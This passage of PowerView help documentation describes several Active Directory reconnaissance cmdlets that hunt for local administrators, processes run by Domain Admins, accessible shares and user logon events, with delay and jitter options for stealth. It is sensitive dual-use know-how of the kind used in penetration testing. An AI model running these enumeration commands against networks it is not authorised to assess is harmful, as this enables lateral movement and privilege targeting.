Indicates that this cmdlet adds the CSV output to the end of the specified file.
Without this parameter, Export-PowerViewCSV replaces the file contents without warning.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

### PSObject

Accepts one or more PSObjects on the pipeline.

## OUTPUTS

## NOTES

## RELATED LINKS

[http://poshcode.org/1590
http://dmitrysotnikov.wordpress.com/2010/01/19/Export-Csv-append/](http://poshcode.org/1590
http://dmitrysotnikov.wordpress.com/2010/01/19/Export-Csv-append/)



            

          

      

      

    

  

    
      
          
            
  # Find-DomainLocalGroupMember

## SYNOPSIS
Enumerates the members of specified local group (default administrators)
for all the targeted machines on the current (or specified) domain.

Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetLocalGroupMember, New-ThreadedFunction

## SYNTAX

```
Find-DomainLocalGroupMember [[-ComputerName] <String[]>] [-ComputerDomain <String>]


[-ComputerLDAPFilter <String>] [-ComputerSearchBase <String>] [-ComputerOperatingSystem <String>]
[-ComputerServicePack <String>] [-ComputerSiteName <String>] [-GroupName <String>] [-Method <String>]
[-Server <String>] [-SearchScope <String>] [-ResultPageSize <Int32>] [-ServerTimeLimit <Int32>] [-Tombstone]
[-Credential <PSCredential>] [-Delay <Int32>] [-Jitter <Double>] [-Threads <Int32>]




```

## DESCRIPTION
This function enumerates all machines on the current (or specified) domain
using Get-DomainComputer, and enumerates the members of the specified local
group (default of Administrators) for each machine using Get-NetLocalGroupMember.
By default, the API method is used, but this can be modified with ‘-Method winnt’
to use the WinNT service provider.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Find-DomainLocalGroupMember
`

Enumerates the local group memberships for all reachable machines in the current domain.

### ————————– EXAMPLE 2 ————————–
`
Find-DomainLocalGroupMember -Domain dev.testlab.local
`

Enumerates the local group memberships for all reachable machines the dev.testlab.local domain.

### ————————– EXAMPLE 3 ————————–
`
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
`

$Cred = New-Object System.Management.Automation.PSCredential(‘TESTLABdfm.a’, $SecPassword)
Find-DomainLocalGroupMember -Domain testlab.local -Credential $Cred

Enumerates the local group memberships for all reachable machines the dev.testlab.local
domain using the alternate credentials.

## PARAMETERS

### -ComputerName
Specifies an array of one or more hosts to enumerate, passable on the pipeline.
If -ComputerName is not passed, the default behavior is to enumerate all machines
in the domain returned by Get-DomainComputer.

```yaml
Type: String[]
Parameter Sets: (All)
Aliases: DNSHostName

Required: False
Position: 1
Default value: None
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```

### -ComputerDomain
Specifies the domain to query for computers, defaults to the current domain.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -ComputerLDAPFilter
Specifies an LDAP query string that is used to search for computer objects.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -ComputerSearchBase
Specifies the LDAP source to search through for computers,
e.g.
“LDAP://OU=secret,DC=testlab,DC=local”.
Useful for OU queries.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -ComputerOperatingSystem
Search computers with a specific operating system, wildcards accepted.

```yaml
Type: String
Parameter Sets: (All)
Aliases: OperatingSystem

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -ComputerServicePack
Search computers with a specific service pack, wildcards accepted.

```yaml
Type: String
Parameter Sets: (All)
Aliases: ServicePack

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -ComputerSiteName
Search computers in the specific AD Site name, wildcards accepted.

```yaml
Type: String
Parameter Sets: (All)
Aliases: SiteName

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -GroupName
The local group name to query for users.
If not given, it defaults to “Administrators”.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: Administrators
Accept pipeline input: True (ByPropertyName)
Accept wildcard characters: False
```

### -Method
The collection method to use, defaults to ‘API’, also accepts ‘WinNT’.

```yaml
Type: String
Parameter Sets: (All)
Aliases: CollectionMethod

Required: False
Position: Named
Default value: API
Accept pipeline input: False
Accept wildcard characters: False
```

### -Server
Specifies an Active Directory server (domain controller) to bind to.

```yaml
Type: String
Parameter Sets: (All)
Aliases: DomainController

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -SearchScope
Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree).

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: Subtree
Accept pipeline input: False
Accept wildcard characters: False
```

### -ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.

```yaml
Type: Int32
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: 200
Accept pipeline input: False
Accept wildcard characters: False
```

### -ServerTimeLimit
Specifies the maximum amount of time the server spends searching.
Default of 120 seconds.

```yaml
Type: Int32
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: 0
Accept pipeline input: False
Accept wildcard characters: False
```

### -Tombstone
Switch.
Specifies that the searcher should also return deleted/tombstoned objects.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain and target systems.

```yaml
Type: PSCredential
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: [Management.Automation.PSCredential]::Empty
Accept pipeline input: False
Accept wildcard characters: False
```

### -Delay
Specifies the delay (in seconds) between enumerating hosts, defaults to 0.

```yaml
Type: Int32
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: 0
Accept pipeline input: False
Accept wildcard characters: False
```

### -Jitter
Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3

```yaml
Type: Double
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: 0.3
Accept pipeline input: False
Accept wildcard characters: False
```

### -Threads
The number of threads to use for user searching, defaults to 20.

```yaml
Type: Int32
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: 20
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

## OUTPUTS

### PowerView.LocalGroupMember.API

Custom PSObject with translated group property fields from API results.

PowerView.LocalGroupMember.WinNT

Custom PSObject with translated group property fields from WinNT results.

## NOTES

## RELATED LINKS



            

          

      

      

    

  

    
      
          
            
  # Find-DomainObjectPropertyOutlier

## SYNOPSIS
Finds user/group/computer objects in AD that have ‘outlier’ properties set.

Author: Will Schroeder (@harmj0y), Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: Get-Domain, Get-DomainUser, Get-DomainGroup, Get-DomainComputer, Get-ForestSchemaClass

## SYNTAX

### ClassName (Default)
```
Find-DomainObjectPropertyOutlier [-ClassName] <String> [-ReferencePropertySet <String[]>] [-Domain <String>]


[-LDAPFilter <String>] [-SearchBase <String>] [-Server <String>] [-SearchScope <String>]
[-ResultPageSize <Int32>] [-ServerTimeLimit <Int32>] [-Tombstone] [-Credential <PSCredential>]




```

### ReferenceObject
```
Find-DomainObjectPropertyOutlier [-ReferencePropertySet <String[]>] -ReferenceObject <PSObject>


[-Domain <String>] [-LDAPFilter <String>] [-SearchBase <String>] [-Server <String>] [-SearchScope <String>]
[-ResultPageSize <Int32>] [-ServerTimeLimit <Int32>] [-Tombstone] [-Credential <PSCredential>]




```

## DESCRIPTION
Enumerates the schema for the specified -ClassName (if passed) by using Get-ForestSchemaClass.
If a -ReferenceObject is passed, the class is extracted from the passed object.
A ‘reference’ set of property names is then calculated, either from a standard set preserved
for user/group/computers, or from the array of names passed to -ReferencePropertySet, or
from the property names of the passed -ReferenceObject.
These property names are substracted
from the master schema propertyu name list to retrieve a set of ‘non-standard’ properties.
Every user/group/computer object (depending on determined class) are enumerated, and for each
object, if the object has a ‘non-standard’ property set, the object samAccountName, property
name, and property value are output to the pipeline.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Find-DomainObjectPropertyOutlier -User
`

Enumerates users in the current domain with ‘outlier’ properties filled in.

### ————————– EXAMPLE 2 ————————–
`
Find-DomainObjectPropertyOutlier -Group -Domain external.local
`

Enumerates groups in the external.local forest/domain with ‘outlier’ properties filled in.

### ————————– EXAMPLE 3 ————————–
`
Get-DomainComputer -FindOne | Find-DomainObjectPropertyOutlier
`

Enumerates computers in the current domain with ‘outlier’ properties filled in.

## PARAMETERS

### -ClassName
Specifies the AD object class to find property outliers for, ‘user’, ‘group’, or ‘computer’.
If -ReferenceObject is specified, this will be automatically extracted, if possible.

```yaml
Type: String
Parameter Sets: ClassName
Aliases: Class

Required: True
Position: 1
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -ReferencePropertySet
Specifies an array of property names to diff against the class schema.

```yaml
Type: String[]
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -ReferenceObject
Specicifes the PowerView user/group/computer object to extract property names
from to use as the reference set.

```yaml
Type: PSObject
Parameter Sets: ReferenceObject
Aliases:

Required: True
Position: Named
Default value: None
Accept pipeline input: True (ByValue)
Accept wildcard characters: False
```

### -Domain
Specifies the domain to use for the query, defaults to the current domain.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.

```yaml
Type: String
Parameter Sets: (All)
Aliases: Filter

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -SearchBase
The LDAP source to search through, e.g.
“LDAP://OU=secret,DC=testlab,DC=local”
Useful for OU queries.

```yaml
Type: String
Parameter Sets: (All)
Aliases: ADSPath

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -Server
Specifies an Active Directory server (domain controller) to bind to.

```yaml
Type: String
Parameter Sets: (All)
Aliases: DomainController

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: Subtree
Accept pipeline input: False
Accept wildcard characters: False
```

### -ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.

```yaml
Type: Int32
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: 200
Accept pipeline input: False
Accept wildcard characters: False
```

### -ServerTimeLimit
Specifies the maximum amount of time the server spends searching.
Default of 120 seconds.

```yaml
Type: Int32
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: 0
Accept pipeline input: False
Accept wildcard characters: False
```

### -Tombstone
Switch.
Specifies that the searcher should also return deleted/tombstoned objects.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.

```yaml
Type: PSCredential
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: [Management.Automation.PSCredential]::Empty
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

## OUTPUTS

### PowerView.PropertyOutlier

Custom PSObject with translated object property outliers.

## NOTES

## RELATED LINKS



            

          

      

      

    

  

    
      
          
            
  # Find-DomainProcess

## SYNOPSIS
Searches for processes on the domain using WMI, returning processes
that match a particular user specification or process name.

Thanks to @paulbrandau for the approach idea.

Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainComputer, Get-DomainUser, Get-DomainGroupMember, Get-WMIProcess, New-ThreadedFunction

## SYNTAX

### None (Default)
```
Find-DomainProcess [[-ComputerName] <String[]>] [-Domain <String>] [-ComputerDomain <String>]


[-ComputerLDAPFilter <String>] [-ComputerSearchBase <String>] [-ComputerUnconstrained]
[-ComputerOperatingSystem <String>] [-ComputerServicePack <String>] [-ComputerSiteName <String>]
[-UserGroupIdentity <String[]>] [-Server <String>] [-SearchScope <String>] [-ResultPageSize <Int32>]
[-ServerTimeLimit <Int32>] [-Tombstone] [-Credential <PSCredential>] [-StopOnSuccess] [-Delay <Int32>]
[-Jitter <Double>] [-Threads <Int32>]




```

### TargetProcess
```
Find-DomainProcess [[-ComputerName] <String[]>] [-Domain <String>] [-ComputerDomain <String>]


[-ComputerLDAPFilter <String>] [-ComputerSearchBase <String>] [-ComputerUnconstrained]
[-ComputerOperatingSystem <String>] [-ComputerServicePack <String>] [-ComputerSiteName <String>]
[-ProcessName <String[]>] [-UserGroupIdentity <String[]>] [-Server <String>] [-SearchScope <String>]
[-ResultPageSize <Int32>] [-ServerTimeLimit <Int32>] [-Tombstone] [-Credential <PSCredential>]
[-StopOnSuccess] [-Delay <Int32>] [-Jitter <Double>] [-Threads <Int32>]




```

### UserIdentity
```
Find-DomainProcess [[-ComputerName] <String[]>] [-Domain <String>] [-ComputerDomain <String>]


[-ComputerLDAPFilter <String>] [-ComputerSearchBase <String>] [-ComputerUnconstrained]
[-ComputerOperatingSystem <String>] [-ComputerServicePack <String>] [-ComputerSiteName <String>]
[-UserIdentity <String[]>] [-UserGroupIdentity <String[]>] [-Server <String>] [-SearchScope <String>]
[-ResultPageSize <Int32>] [-ServerTimeLimit <Int32>] [-Tombstone] [-Credential <PSCredential>]
[-StopOnSuccess] [-Delay <Int32>] [-Jitter <Double>] [-Threads <Int32>]




```

### TargetUser
```
Find-DomainProcess [[-ComputerName] <String[]>] [-Domain <String>] [-ComputerDomain <String>]


[-ComputerLDAPFilter <String>] [-ComputerSearchBase <String>] [-ComputerUnconstrained]
[-ComputerOperatingSystem <String>] [-ComputerServicePack <String>] [-ComputerSiteName <String>]
[-UserIdentity <String[]>] [-UserDomain <String>] [-UserLDAPFilter <String>] [-UserSearchBase <String>]
[-UserGroupIdentity <String[]>] [-UserAdminCount] [-Server <String>] [-SearchScope <String>]
[-ResultPageSize <Int32>] [-ServerTimeLimit <Int32>] [-Tombstone] [-Credential <PSCredential>]
[-StopOnSuccess] [-Delay <Int32>] [-Jitter <Double>] [-Threads <Int32>]




```

## DESCRIPTION
This function enumerates all machines on the current (or specified) domain
using Get-DomainComputer, and queries the domain for users of a specified group
(default ‘Domain Admins’) with Get-DomainGroupMember.
Then for each server the
function enumerates any current processes running with Get-WMIProcess,
searching for processes running under any target user contexts or with the
specified -ProcessName.
If -Credential is passed, it is passed through to
the underlying WMI commands used to enumerate the remote machines.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Find-DomainProcess
`

Searches for processes run by ‘Domain Admins’ by enumerating every computer in the domain.

### ————————– EXAMPLE 2 ————————–
`
Find-DomainProcess -UserAdminCount -ComputerOperatingSystem 'Windows 7*' -Domain dev.testlab.local
`

Enumerates Windows 7 computers in dev.testlab.local and returns any processes being run by
privileged users in dev.testlab.local.

### ————————– EXAMPLE 3 ————————–
`
Find-DomainProcess -ProcessName putty.exe
`

Searchings for instances of putty.exe running on the current domain.

### ————————– EXAMPLE 4 ————————–
`
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
`

$Cred = New-Object System.Management.Automation.PSCredential(‘TESTLABdfm.a’, $SecPassword)
Find-DomainProcess -Domain testlab.local -Credential $Cred

Searches processes being run by ‘domain admins’ in the testlab.local using the specified alternate credentials.

## PARAMETERS

### -ComputerName
Specifies an array of one or more hosts to enumerate, passable on the pipeline.
If -ComputerName is not passed, the default behavior is to enumerate all machines
in the domain returned by Get-DomainComputer.

```yaml
Type: String[]
Parameter Sets: (All)
Aliases: DNSHostName

Required: False
Position: 1
Default value: None
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```

### -Domain
Specifies the domain to query for computers AND users, defaults to the current domain.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -ComputerDomain
Specifies the domain to query for computers, defaults to the current domain.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -ComputerLDAPFilter
Specifies an LDAP query string that is used to search for computer objects.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -ComputerSearchBase
Specifies the LDAP source to search through for computers,
e.g.
“LDAP://OU=secret,DC=testlab,DC=local”.
Useful for OU queries.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -ComputerUnconstrained
Switch.
Search computer objects that have unconstrained delegation.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases: Unconstrained

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -ComputerOperatingSystem
Search computers with a specific operating system, wildcards accepted.

```yaml
Type: String
Parameter Sets: (All)
Aliases: OperatingSystem

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -ComputerServicePack
Search computers with a specific service pack, wildcards accepted.

```yaml
Type: String
Parameter Sets: (All)
Aliases: ServicePack

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -ComputerSiteName
Search computers in the specific AD Site name, wildcards accepted.

```yaml
Type: String
Parameter Sets: (All)
Aliases: SiteName

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -ProcessName
Search for processes with one or more specific names.

```yaml
Type: String[]
Parameter Sets: TargetProcess
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -UserIdentity
Specifies one or more user identities to search for.

```yaml
Type: String[]
Parameter Sets: UserIdentity, TargetUser
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -UserDomain
Specifies the domain to query for users to search for, defaults to the current domain.

```yaml
Type: String
Parameter Sets: TargetUser
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -UserLDAPFilter
Specifies an LDAP query string that is used to search for target users.

```yaml
Type: String
Parameter Sets: TargetUser
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -UserSearchBase
Specifies the LDAP source to search through for target users.
e.g.
“LDAP://OU=secret,DC=testlab,DC=local”.
Useful for OU queries.

```yaml
Type: String
Parameter Sets: TargetUser
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -UserGroupIdentity
Specifies a group identity to query for target users, defaults to ‘Domain Admins.
If any other user specifications are set, then UserGroupIdentity is ignored.

```yaml
Type: String[]
Parameter Sets: (All)
Aliases: GroupName, Group

Required: False
Position: Named
Default value: Domain Admins
Accept pipeline input: False
Accept wildcard characters: False
```

### -UserAdminCount
Switch.
Search for users users with ‘(adminCount=1)’ (meaning are/were privileged).

```yaml
Type: SwitchParameter
Parameter Sets: TargetUser
Aliases: AdminCount

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -Server
Specifies an Active Directory server (domain controller) to bind to.

```yaml
Type: String
Parameter Sets: (All)
Aliases: DomainController

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -SearchScope
Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree).

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: Subtree
Accept pipeline input: False
Accept wildcard characters: False
```

### -ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.

```yaml
Type: Int32
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: 200
Accept pipeline input: False
Accept wildcard characters: False
```

### -ServerTimeLimit
Specifies the maximum amount of time the server spends searching.
Default of 120 seconds.

```yaml
Type: Int32
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: 0
Accept pipeline input: False
Accept wildcard characters: False
```

### -Tombstone
Switch.
Specifies that the searcher should also return deleted/tombstoned objects.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain and target systems.

```yaml
Type: PSCredential
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: [Management.Automation.PSCredential]::Empty
Accept pipeline input: False
Accept wildcard characters: False
```

### -StopOnSuccess
Switch.
Stop hunting after finding after finding a target user.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -Delay
Specifies the delay (in seconds) between enumerating hosts, defaults to 0.

```yaml
Type: Int32
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: 0
Accept pipeline input: False
Accept wildcard characters: False
```

### -Jitter
Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3

```yaml
Type: Double
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: 0.3
Accept pipeline input: False
Accept wildcard characters: False
```

### -Threads
The number of threads to use for user searching, defaults to 20.

```yaml
Type: Int32
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: 20
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

## OUTPUTS

### PowerView.UserProcess

## NOTES

## RELATED LINKS



            

          

      

      

    

  

    
      
          
            
  # Find-DomainShare

## SYNOPSIS
Searches for computer shares on the domain.
If -CheckShareAccess is passed,
then only shares the current user has read access to are returned.

Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainComputer, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetShare, New-ThreadedFunction

## SYNTAX

```
Find-DomainShare [[-ComputerName] <String[]>] [-ComputerDomain <String>] [-ComputerLDAPFilter <String>]


[-ComputerSearchBase <String>] [-ComputerOperatingSystem <String>] [-ComputerServicePack <String>]
[-ComputerSiteName <String>] [-CheckShareAccess] [-Server <String>] [-SearchScope <String>]
[-ResultPageSize <Int32>] [-ServerTimeLimit <Int32>] [-Tombstone] [-Credential <PSCredential>]
[-Delay <Int32>] [-Jitter <Double>] [-Threads <Int32>]




```

## DESCRIPTION
This function enumerates all machines on the current (or specified) domain
using Get-DomainComputer, and enumerates the available shares for each
machine with Get-NetShare.
If -CheckShareAccess is passed, then
[IO.Directory]::GetFiles() is used to check if the current user has read
access to the given share.
If -Credential is passed, then
Invoke-UserImpersonation is used to impersonate the specified user before
enumeration, reverting after with Invoke-RevertToSelf.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Find-DomainShare
`

Find all domain shares in the current domain.

### ————————– EXAMPLE 2 ————————–
`
Find-DomainShare -CheckShareAccess
`

Find all domain shares in the current domain that the current user has
read access to.

### ————————– EXAMPLE 3 ————————–
`
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
`

$Cred = New-Object System.Management.Automation.PSCredential(‘TESTLABdfm.a’, $SecPassword)
Find-DomainShare -Domain testlab.local -Credential $Cred

Searches for domain shares in the testlab.local domain using the specified alternate credentials.

## PARAMETERS

### -ComputerName
Specifies an array of one or more hosts to enumerate, passable on the pipeline.
If -ComputerName is not passed, the default behavior is to enumerate all machines
in the domain returned by Get-DomainComputer.

```yaml
Type: String[]
Parameter Sets: (All)
Aliases: DNSHostName

Required: False
Position: 1
Default value: None
Accept pipeline input: True (ByPropertyName, ByValue)
Accept wildcard characters: False
```

### -ComputerDomain
Specifies the domain to query for computers, defaults to the current domain.

```yaml
Type: String
Parameter Sets: (All)
Aliases: Domain

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -ComputerLDAPFilter
Specifies an LDAP query string that is used to search for computer objects.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -ComputerSearchBase
Specifies the LDAP source to search through for computers,
e.g.
“LDAP://OU=secret,DC=testlab,DC=local”.
Useful for OU queries.

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -ComputerOperatingSystem
Search computers with a specific operating system, wildcards accepted.

```yaml
Type: String
Parameter Sets: (All)
Aliases: OperatingSystem

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -ComputerServicePack
Search computers with a specific service pack, wildcards accepted.

```yaml
Type: String
Parameter Sets: (All)
Aliases: ServicePack

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -ComputerSiteName
Search computers in the specific AD Site name, wildcards accepted.

```yaml
Type: String
Parameter Sets: (All)
Aliases: SiteName

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -CheckShareAccess
Switch.
Only display found shares that the local user has access to.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases: CheckAccess

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -Server
Specifies an Active Directory server (domain controller) to bind to.

```yaml
Type: String
Parameter Sets: (All)
Aliases: DomainController

Required: False
Position: Named
Default value: None
Accept pipeline input: False
Accept wildcard characters: False
```

### -SearchScope
Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree).

```yaml
Type: String
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: Subtree
Accept pipeline input: False
Accept wildcard characters: False
```

### -ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.

```yaml
Type: Int32
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: 200
Accept pipeline input: False
Accept wildcard characters: False
```

### -ServerTimeLimit
Specifies the maximum amount of time the server spends searching.
Default of 120 seconds.

```yaml
Type: Int32
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: 0
Accept pipeline input: False
Accept wildcard characters: False
```

### -Tombstone
Switch.
Specifies that the searcher should also return deleted/tombstoned objects.

```yaml
Type: SwitchParameter
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: False
Accept pipeline input: False
Accept wildcard characters: False
```

### -Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain and target systems.

```yaml
Type: PSCredential
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: [Management.Automation.PSCredential]::Empty
Accept pipeline input: False
Accept wildcard characters: False
```

### -Delay
Specifies the delay (in seconds) between enumerating hosts, defaults to 0.

```yaml
Type: Int32
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: 0
Accept pipeline input: False
Accept wildcard characters: False
```

### -Jitter
Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3

```yaml
Type: Double
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: 0.3
Accept pipeline input: False
Accept wildcard characters: False
```

### -Threads
The number of threads to use for user searching, defaults to 20.

```yaml
Type: Int32
Parameter Sets: (All)
Aliases:

Required: False
Position: Named
Default value: 20
Accept pipeline input: False
Accept wildcard characters: False
```

## INPUTS

## OUTPUTS

### PowerView.ShareInfo

## NOTES

## RELATED LINKS



            

          

      

      

    

  

    
      
          
            
  # Find-DomainUserEvent

## SYNOPSIS
Finds logon events on the current (or remote domain) for the specified users.

Author: Lee Christensen (@tifkin_), Justin Warner (@sixdub), Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainUser, Get-DomainGroupMember, Get-DomainController, Get-DomainUserEvent, New-ThreadedFunction

## SYNTAX

### Domain (Default)
```
Find-DomainUserEvent [-Domain <String>] [-Filter <Hashtable>] [-StartTime <DateTime>] [-EndTime <DateTime>]


[-MaxEvents <Int32>] [-UserIdentity <String[]>] [-UserDomain <String>] [-UserLDAPFilter <String>]
[-UserSearchBase <String>] [-UserGroupIdentity <String[]>] [-UserAdminCount] [-CheckAccess] [-Server <String>]
[-SearchScope <String>] [-ResultPageSize <Int32>] [-ServerTimeLimit <Int32>] [-Tombstone]
[-Credential <PSCredential>] [-StopOnSuccess] [-Delay <Int32>] [-Jitter <Double>] [-Threads <Int32>]




```

### ComputerName
```
Find-DomainUserEvent [[-ComputerName] <String[]>] [-Filter <Hashtable>] [-StartTime <DateTime>]


[-EndTime <DateTime>] [-MaxEvents <Int32>] [-UserIdentity <String[]>] [-UserDomain <String>]
[-UserLDAPFilter <String>] [-UserSearchBase <String>] [-UserGroupIdentity <String[]>] [-UserAdminCount]
[-CheckAccess] [-Server <String>] [-SearchScope <String>] [-ResultPageSize <Int32>] [-ServerTimeLimit <Int32>]
[-Tombstone] [-Credential <PSCredential>] [-StopOnSuccess] [-Delay <Int32>] [-Jitter <Double>]
[-Threads <Int32>]




```

## DESCRIPTION
Enumerates all domain controllers from the specified -Domain
(default of the local domain) using Get-DomainController, enumerates
the logon events for each using Get-DomainUserEvent, and filters
the results based on the targeting criteria.

## EXAMPLES

### ————————– EXAMPLE 1 ————————–
`
Find-DomainUserEvent
`

Search for any user events matching domain admins on every DC in the current domain.

### ————————– EXAMPLE 2 ————————–
`
$cred = Get-Credential dev\administrator
`

Find-DomainUserEvent -ComputerName ‘secondary.dev.testlab.local’ -UserIdentity ‘john’

